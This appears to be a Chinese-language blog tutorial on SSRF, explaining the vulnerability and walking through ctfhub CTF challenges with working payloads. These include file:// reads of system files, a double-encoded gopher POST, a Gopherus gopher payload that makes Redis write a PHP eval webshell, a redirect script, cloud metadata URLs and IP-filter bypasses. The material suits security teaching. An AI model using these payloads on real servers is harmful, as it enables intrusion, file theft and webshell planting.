SSRF漏洞

一、什么是SSRF?

1-定义

SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造恶意请求,由服务器端发起请求的安全漏洞。

简单来说,SSRF就是攻击者"欺骗"服务器,让服务器代表攻击者去访问攻击者指定的URL,从而获取服务器本身或内网中的敏感信息,甚至执行更深入的攻击

2-原理

服务器端存在功能点,允许用户输入一个URL地址或其他地址,然后服务器根据这个输入去请求改地址内容,并将结果返回给用户。攻击者利用这个功能,将目标地址修改为指向内部系统(如127.0.0.1、内网IP)或特定协议(如file://gopher:\\dict:\\等),从而让服务器发起对内部资源的请求。

3-漏洞成因

(1)存在可控的输入点

服务器提供了可由用户控制的 URL/IP/ 主机名等参数,例如:

  1. 参数名urlfilehosttargetimage_urlwebhookcallback
  2. 场景:图片 URL 下载、远程文件导入、Webhook 回调、服务状态检测等

(2)使用高危网络请求函数

后端代码直接将用户输入传入支持网络请求的高危函数,未做任何过滤:

  • PHPfile_get_contents()fsockopen()curl_exec()
  • Pythonrequests.get()urllib.urlopen()
  • JavaURL.openConnection()HttpClient

(3)安全机制不完善

  1. 未对目标地址做校验 :允许访问内网 IP(127.0.0.1192.168.x.x)、本地回环地址
  2. 未限制危险协议 :允许 file://dict://gopher://ftp:// 等非 HTTP 协议
  3. 未限制端口:可访问 6379(Redis)、3306(MySQL)、9000(FastCGI)等内网服务端口

4-优势

由于请求是从服务器发出的,它可能拥有比外部访问更高的权限(例如绕过防火墙),或者能够访问到外部本应无法访问的内部服务

二、SSRF中的伪协议

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议:

1-file:///协议

  • 作用:最常见的协议,用于访问Web资源。
  • 利用方式 :用于扫描内网Web服务、攻击内网Web应用、读取云元数据(如http://169.254.169.254/latest/meta-data/)。
plaintext 复制代码
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

file:///中的///是为了告诉服务器访问的是本地服务器内容,而不是目标主机

ctfhub中的伪协议读取文件

URL结构如下

复制代码
http://challenge-86a9f14cca0cb4e6.sandbox.ctfhub.com:10800/?url=_

我们

根据要求访问目标服务器中Web目录下的flag.php,使用file:///进行读取

复制代码
http://challenge-86a9f14cca0cb4e6.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

成功读取内容

2-gopher://协议

  • 作用:Gopher协议是一个分布式的文档检索协议,但现代利用中它常被用来发送任意TCP数据包。攻击者可以构造原始TCP请求,攻击内网中基于TCP的服务(如Redis、MySQL、Memcached、FastCGI等)。
  • 利用方式:需要将请求内容进行URL编码,然后通过gopher协议发送。例如攻击Redis未授权访问,写入SSH公钥。

例子:ctfhub POST请求

URL结构如下:

text 复制代码
http://challenge-b1bf4f429289196f.sandbox.ctfhub.com:10800/?url=_

先访问本地的flag.php文件

text 复制代码
?url=http://127.0.0.1/flag.php

回显一个输入框,查看源码

泄露了一个key,但是还不知道key的作用,我们使用file:///读取源码

text 复制代码
?url=file:///var/www/html/flag.php
  • 如果REMOTE_ADDR不等于127.0.0.1,无法进入后续判断逻辑

  • 进入后续判断,需要以POST请求方法发送一个keykey正确则返回flag
    gopher://协议能被用来发送任意TCP数据包,所以我们先构造一个POST请求的数据包。在使用 Gopher协议发送 POST请求包时,HostContent-TypeContent-Length请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1:80
    Content-Length: 36
    Content-Type: application/x-www-form-urlencoded

    key=ca90681faff9a356434c1d08f7586934

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。所以我们需要对构造的请求包进行两次 URL编码:

  1. 第一次

    POST%20/flag.php%20HTTP/1.1%0AHost:%20127.0.0.1:80%0AContent-Length:%2036%0AContent-Type:%20application/x-www-form-urlencoded%0A%0Akey=ca90681faff9a356434c1d08f7586934

  2. 第二次

    POST%2520/flag.php%2520HTTP/1.1%250AHost:%2520127.0.0.1:80%250AContent-Length:%252036%250AContent-Type:%2520application/x-www-form-urlencoded%250A%250Akey=ca90681faff9a356434c1d08f7586934

构造payload

复制代码
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=ca90681faff9a356434c1d08f7586934

输出内容

3-dict://协议

  • 作用:用于查询字典服务,但也可用于探测端口和服务信息。
  • 利用方式:向指定主机的指定端口发送自定义命令,并读取返回信息。常用于端口扫描或简单探测服务。
plaintext 复制代码
dict://127.0.0.1:6379/info   # 向Redis发送INFO命令,获取信息
dict://127.0.0.1:3306/status # 向MySQL发送状态查询

4-ftp://ftps://

  • 作用:文件传输协议。

  • 利用方式:可以用于下载/上传文件,也可能用于内网FTP服务的攻击。攻击者可指定匿名登录或尝试使用已知凭证。

    ftp://user:pass@192.168.1.100/file.txt

5-tftp:// 协议

  • 作用:简单文件传输协议(UDP)。

  • 利用方式:可用于读取UDP服务上的文件,常用于攻击TFTP服务。

    tftp://192.168.1.100/testfile

6-ldap://ldaps://

  • 作用:轻量目录访问协议。

  • 利用方式:攻击内网LDAP服务器,可能导致信息泄露或未授权访问。

    ldap://192.168.1.100:389/

三、攻击利用

1-内网探测

通过请求内网IP和端口,根据响应时间、错误信息等判断端口开放情况,绘制内网拓扑

ctfhub 端口扫描

根据提示端口范围是8000-9000,我们先构造恶意请求

复制代码
?url=http://127.0.0.1:8000

使用burpsuite拦截数据包,发送到爆破模块,将端口设置为变量,字典为8000到9000的数值,开始爆破

根据响应包长度判断开放端口

2-读取本地文件

利用file://协议读取服务器上的敏感文件(如代码、配置文件、密钥等)。

3-攻击内部服务

使用Gopher、Dict等协议攻击内网未授权的服务(如Redis未授权访问,写入SSH公钥或反弹shell)。

ctfhub Redis协议

Redis(Remote Dictionary Server ),即远程字典服务,是一个key-value存储系统。Redis在默认情况下,会绑定在 0.0.0.0:6379

  • 如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
  • 攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
  • 也可以直接写入Webshell或者写入计划任务进行反弹shell。
    使用工具Gopherus,这是一个专为生成Gopher协议Payload的工具,广泛应用于网络安全领域,特别是在SSRF(Server-Side Request Forgery,服务器端请求伪造)场景下的利用。
bash 复制代码
python2 gopherus.py --exploit redis

输出内容已经进行第一次编码

复制代码
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2436%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27123456%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

我们将其进行第二次编码:

复制代码
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252436%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527123456%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

输入payload进行访问,返回504状态码,查看shell.php是否生成

成功生成,使用蚁剑连接

然后访问根目录读取flag

4-绕过身份验证或防火墙

通过服务器作为跳板,访问原本禁止的外部资源(如内网的数据库)。

5-利用云元数据服务

在云环境(AWS、阿里云等)中,请求http://169.254.169.254/latest/meta-data/获取实例的临时凭证、API密钥等。

6-DoS攻击

请求大文件或慢速响应资源,消耗服务器资源。

四、绕过方法

1-URL解析和规范化绕过

(1)使用@符号

在URL中,http://expected.com@internal.com/,某些解析器会认为host是internal.com,而前面的expected.com被当作用户名。如果过滤只检查expected.com则绕过。

ctfhub URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,我们可以利用`@`进行绕过

复制代码
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

@前面的notfound.ctfhub.com被当作用户名,访问的是127.0.0.1/flag.php,成功读取flag

(2)使用#符号

某些后端会截断#后的部分,如果过滤匹配域名时包含#后的内容,可能导致绕过。例如http://127.0.0.1#expected.com

ctfhub URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com,我们可以利用#进行绕过

复制代码
?url=http://127.0.0.1/flag.php#notfound.ctfhub.com

#后面的notfound.ctfhub.com不被匹配访问,访问的是127.0.0.1/flag.php,成功读取flag

2-IP黑名单绕过

(1)采用进制转换

使用十进制/八进制/十六进制表示IP:

例如127.0.0.1可以写成:

  • 十进制:2130706433
  • 八进制:0177.0.0.1017700000001
  • 十六进制:0x7f000001
ctfhub 数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。我们使用进制绕过

复制代码
?url=http://2130706433/flag.php
?url=http://017700000001/flag.php
?url=http://0x7f000001/flag.php

(2)使用IP别名

例如127.0.0.1的别名localhostlocaltest.me(解析到127.0.0.1)、127.127.127.127(某些系统也会回环)。

ctfhub 数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。我们使用进制绕过

复制代码
?url=http://localhost/flag.php

(3)使用CIDR表示法

有时黑名单只检查精确IP,但允许IP段,如127.0.0.0/8可能未被完全屏蔽。

(4)使用IPv6地址

某些应用只检查IPv4黑名单,但允许IPv6。内网IPv6地址(如::1对应localhost)可能绕过。

(5)采用短网址绕过

比如百度短地址https://dwz.cn/、127.0.0.1的短地址为`127.1`

(6)特殊域名

原理是DNS解析。

  • http://lvh.me:一个专门解析到127.0.0.1的短域名,也支持所有子域名(如test.lvh.me)。是目前可用的最短公共域名。
  • http://local.gd:另一个解析到127.0.0.1的域名,同样支持子域名。

3-重定向绕过

如果目标支持跟随重定向,攻击者可以搭建一个公网服务器,返回302跳转到内网地址(如Location: http://192.168.1.1/admin)。但需要目标跟随重定向,且有些应用会检查重定向目标,或者限制重定向次数。

ctfhub 302跳转 Bypass

编写一个重定向代码

php 复制代码
#302.php
<?php 
header("Location:http://127.0.0.1/flag.php");
?>

将302.php放在公网上,拼接到url访问,就能实现302跳转

复制代码
?url=http://[公网IP]/302.php

成功访问到flag.php

4-利用域名解析欺骗

通过修改DNS记录,将白名单域名短暂解析到内网IP,利用时间差(DNS重绑定攻击)。

(1)DNS重绑定攻击

攻击者控制一个域名,该域名的DNS记录设置为TTL非常短。第一次解析时返回公网IP,通过白名单检查;当服务器真正发起请求时,再次解析域名,这个时候我们可以在这个短暂的第一次和第二次的间隔里面控制第二次的解析ip为127.0.0.1,从而实现访问内网的应用,实现重绑定攻击。

  • 实现:需要域名服务器支持短时间内修改记录,且应用在两次解析之间没有缓存DNS结果(或者缓存时间短于攻击窗口)。
ctfhub DNS重绑定 Bypass

配合网站https://lock.cmpxchg8b.com/rebinder.html,这个网站用于测试软件中DNS 重新绑定漏洞会随机指向两个绑定地址的其中一个。

构造payload

复制代码
?url=http://7f000001.c0a80001.rbndr.us/flag.php

成功获取flag

相关推荐
Codefengfeng2 小时前
web文件上传 - 极速通关版
web安全·网络安全
乾元3 小时前
职业进阶: 传统安全工程师如何转型为 AI 安全专家?
网络·人工智能·安全·web安全·机器学习·网络安全·安全架构
Maryfang132918915513 小时前
应对芯片涨价,光口以太网芯片国产P2P替代
人工智能·网络协议·网络安全·信息与通信
大方子3 小时前
【PolarCTF】签到
网络安全·polarctf
xixixi777773 小时前
详细梳理移动通信技术从1G到5G(及展望6G)的核心特征、区别以及迭代背后的驱动原因
人工智能·网络安全·信息与通信·通信
Brucye12 小时前
信息收集-源码获取
网络安全
湛生17 小时前
NoSQL注入
数据库·安全·web安全·网络安全·nosql
Sombra_Olivia1 天前
Vulhub 中的 adminer CVE-2021-21311
安全·web安全·网络安全·渗透测试·vulhub
白帽黑客-晨哥1 天前
2026年网络安全面试全攻略:高频问题与实战经验展示
web安全·网络安全·面试·职场和发展·网络安全工程师